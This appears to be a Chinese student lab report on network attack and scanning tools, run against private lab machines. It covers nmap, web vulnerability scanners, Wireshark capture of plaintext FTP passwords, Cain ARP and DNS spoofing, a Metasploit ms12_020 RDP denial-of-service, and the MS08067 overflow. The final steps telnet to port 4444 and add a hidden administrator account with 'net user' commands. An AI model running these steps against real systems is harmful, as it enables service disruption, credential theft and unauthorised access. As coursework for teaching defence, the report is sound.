NMap端口扫描
NMap是用来扫描网络上计算机开放的网络连接端口。
- Nmap GUI的使用
在Target
中输入目标IP地址,扫描方式选择regular scan
,点击scan
,即可得到目标主机开放的端口。 - 命令行的使用
进行上述GUI扫描的命令是:nmap IP
对指定端口进行扫描的命令是:nmap -p portnumber IP
对目标主机进行全连接扫描(稳定可靠但容易被日志记录)的命令是:nmap -sT IP
对目标主机进行半开连接扫描(更隐蔽)的命令是:nmap -sS IP
保存扫描结果的扫描命令是:nmap -oX filename IP
- 课后习题
组合命令如:同时保存扫描结果并以半开连接方式扫描:nmap -sS -oX filename IP
识别主机操作系统的命令是:nmap -O IP
综合扫描X-Scan
X-Scan采用多线程方式对指定IP地址段进行安全漏洞检测。
- 设置X-Scan参数
在菜单栏设置->扫描参数
中,有以下这些选项:
- 扫描模块:包含服务和协议弱口令等信息的扫描
- 并发扫描:对扫描的并发数量进行设置
- 扫描报告:设定扫描完成后报告生成情况
- 其他设置:对扫描进度的显示等
- 端口设置:设置想要扫描的端口、检测方式等内容(本实验填21,即
FTP
)
- 进行扫描
设置完成后点击文件->开始扫描
,自动生成报告,观察到已破解FTP
弱口令:
ftp://192.168.1.3
,输入以上用户名和口令,成功登陆:
- 课后习题
- 防火墙对扫描软件有屏蔽作用,因为它可以把扫描软件发出的数据包丢掉而不作出回应。
- 服务攻击是让目标机器停止提供服务的攻击,不是针对某种特定网络的。
AWVS扫描器扫描web漏洞
AWVS可以扫描任何可通过Web浏览器访问的Web站点和Web应用程序,可通过SQL注入攻击、跨站脚本攻击等审核应用程序的安全性。
- 基本用法
单击工具栏中的new scan
,输入URL:192.168.1.3:8001
,一直点击下一步直到Finish
,扫描结果如下:
- 高级功能
在上图左栏中选择tools
中的site crawler
,点击start
,即可进行站点爬行。
在上图左栏中选择tools
中的target finder
,可找出web服务器。
- 课后习题
AWVS的其他功能如:选择tools
中的http sniffer
,可以实现抓包:
http editor
,使用http editor
进行编辑和重放,如图:
AppScan扫描web漏洞
AppScan通过爬行发现整个web应用结构,发送修改的HTTP Request进行攻击,验证是否存在安全漏洞。
- 开启扫描
选择文件->新建
中的常规扫描,并选中启动扫描配置向导,URL填写192.168.1.3:8001
,之后一直选是直到得到扫描结果:
- 课后习题
分析扫描结果:以SQL注入攻击为例,它是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。该问题存在于该站点的see.asp
网页的titleID
和ID
、list.asp
网页的Photoer
和KeyWords
、exif.asp
网页的id
、content.asp
网页的ID2
等变量中。
appscan的功能是进行漏洞检查,而不是进行漏洞攻击。
御剑web后台敏感目录扫描
御剑扫描工具主要用来扫描目标站点的敏感目录。
- 基本使用
在域名中输入192.168.1.3:8001
,点击开始扫描,扫描结果如下:
- 扫描结果分析
http响应
为200说明该页面可访问。例如双击index.asp
即可进入目标站点的主页,双击FCKeditor/_whatsnew.html
可知道该站点的编辑器类型为FCK及其版本号。 - 课后习题
敏感目录如后台管理页面、cms类型以及版本等,即包含站点关键信息的页面。
可在login.asp
页面看到网站数据库为asp+access
:
FTP连接与密码明文抓取-wireshark
Wireshark是一个网络封包分析软件,它撷取网络封包,并尽可能显示出最详细的有关资料。
- 抓包参数的设置
在Capture
菜单中设置抓包的相关参数,如interfaces
选项显示可操作性的网络适配器,options
选项设置如抓包模式、过滤器等参数。点击start
开始。 -
数据包的解析
- 第一行为Wireshark添加的该帧的统计信息,包括捕获时间、编号、帧长度、协议等。
- 第二行为链路层信息,包括目的MAC地址,源MAC地址,上层协议类型。
- 第三行为网络层信息,此处为IP协议,包括版本、头部长度、总长度、标志位等。
- 第四行为传输层信息,包括源/目的端口、序列号、期望的下一个序列号等。
- 第五行为应用层,此处为FTP协议,显示的是响应内容。
- 建立连接
设置完参数后点击start
按钮开始抓包,在地址栏输入ftp:\192.168.1.3
,输入默认账号和密码。
在filter中输入ftp
过滤出数据包,看到输入的账号和密码:
- 课后习题
DNS依赖于UDP,FTP依赖于TCP
由实验过程可知,访问FTP需要账户和密码。
如何合理设置抓包规则:在caption
的option
中:
- 抓取http报文:输入
tcp port 80
,因为大部分Web网站都是工作在80端口的 - 抓取arp报文:输入
ether proto 0x0806
,这个字段的值表示是ARP报文 - 只抓取与某主机的通信:输入
host IP
:
利用arp协议缺陷实现中间人攻击及内网DNS欺骗
ARP协议是根据IP地址获取物理地址的一个TCP/IP协议,攻击者可以通过修改arp高速缓存来实现攻击。
DNS是将域名和IP互相映射的网络应用的基础设施。DNS攻击和ARP攻击原理相同,但是要事先知道DNS查询请求ID。
CAIN是一个实现各种中间人攻击的软件。
- 利用cain进行arp欺骗
打开cain软件,在configure
中选择网卡,再依次点击start->sniffer->hosts->scan mac address
,扫描出本网段除本机以外的其他机器。只保留192.168.1.3
和192.168.1.4
。
扫描出mac地址后,在arp
选项中添加这两个地址。
arp
缓存:
arp
按钮实施poisoning
:
arp
缓存,发现mac地址被改变:
2.利用cain抓取ftp密码
在192.168.1.3
系统中,连接192.168.1.4
搭建的ftp服务器,输入账户名和密码。
再切换到192.168.1.2
系统中,选择cain下方的passwords选项,点击左侧ftp,可以看到有一条anonymous,说明ftp允许匿名登录。
首先解析正确的
www.shiyanbar.com
域名:nslookup -qt=A www.shiyanbar.com 192.168.1.4
:切换到
192.168.1.2
中,点击arp
,选择arp-dns
,点击加号,将解析ip改为1.1.1.1
。重新使用
192.168.1.3
查询域名IP:如何防范arp中间人攻击:
- 在主机绑定网关MAC与IP地址为静态(默认为动态),命令:
arp -s IP MAC
- 在网关绑定主机MAC与IP地址
- 使用ARP防火墙
msf利用远程桌面协议RDP拒绝访问漏洞
RDP(远程桌面协议)是一个让客户端连上服务器的协议。windows在处理某些报文时存在错误,会造成服务停止响应。
1.攻击步骤
在linux终端输入nmap -sS -Pn -A 192.168.1.3
扫描主机,发现端口3389打开。
输入msfconsole
命令,再输入search ms12_020
,查找远程桌面相关参数。
输入命令
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
来定义exploits参数。输入命令show options
,查看需要配置的参数:设置远程主机IP:
set RHOST 192.168.1.3
输入命令
exploit
进行攻击。目标主机蓝屏重启,说明攻击成功。
- 课后习题
如何启动msf图像界面:输入命令msfgui
:
MS08067利用方法
利用MS08067远程溢出工具发送特殊构造的数据包,使目标主机产生溢出,然后执行shellcode代码,打开目标主机端口,使用telnel链接目标端口,获得系统权限。
- 运行MS08067远程溢出软件
在命令行中运行MS08067.exe:MS08067.exe 192.168.1.3
- 链接远程主机并添加用户
输入命令telnet 192.168.1.3 4444
连接目标主机。
输入命令net user aaa 123456 /add
在目标主机上添加账户。
输入命令net localgroup administrators aaa /add
,把aaa用户添加到管理组。
输入命令net user aaa
验证aaa是否添加成功。
打开mstsc
,输入账号和密码,成功登陆:
- 课后习题
为什么telnet 4444端口:因为MS08067.exe进行缓冲区溢出的是4444端口。
分析讨论
本章实验实现的功能是:扫描(端口扫描、综合扫描、web漏洞扫描、后台敏感目录扫描)、网络封包分析、欺骗攻击(arp欺骗、DNS欺骗)、攻击(Dos攻击、远程溢出攻击)。
总结起来,最常见的网络上被利用的漏洞有:
- Cookie中毒--身份伪装:通过处理存放在浏览器cookie中的信息,黑客伪装成合法的用户然后就可以存取用户的信息。许多Web应用程序使用客户机上的cookie来保存信息(用户身份、时间戳等等)。由于cookie通常都没有加密,黑客可以对它们进行修改,这样就可以通过这些"中了毒的cookie"来欺骗应用程序。心存恶意的用户可以访问他人的账户然后象真正用户那样行事。如1.7中的arp和dns欺骗。
- 缓冲区溢出--业务终止:通过使用某种形式的数据流,用过量的信息使服务器超载,黑客常常能够使服务器崩溃从而关闭网站。如1.9节中的远程溢出攻击。
- 篡改参数--欺诈:这种技术改变网站URL的参数。很多web应用程序无法确定嵌入在超链接中CGI参数的正确性。比如说,允许信用卡使用500,000元这样大额的限制,跳过网站的登陆界面以及允许对取消后的订单和客户信息进行访问。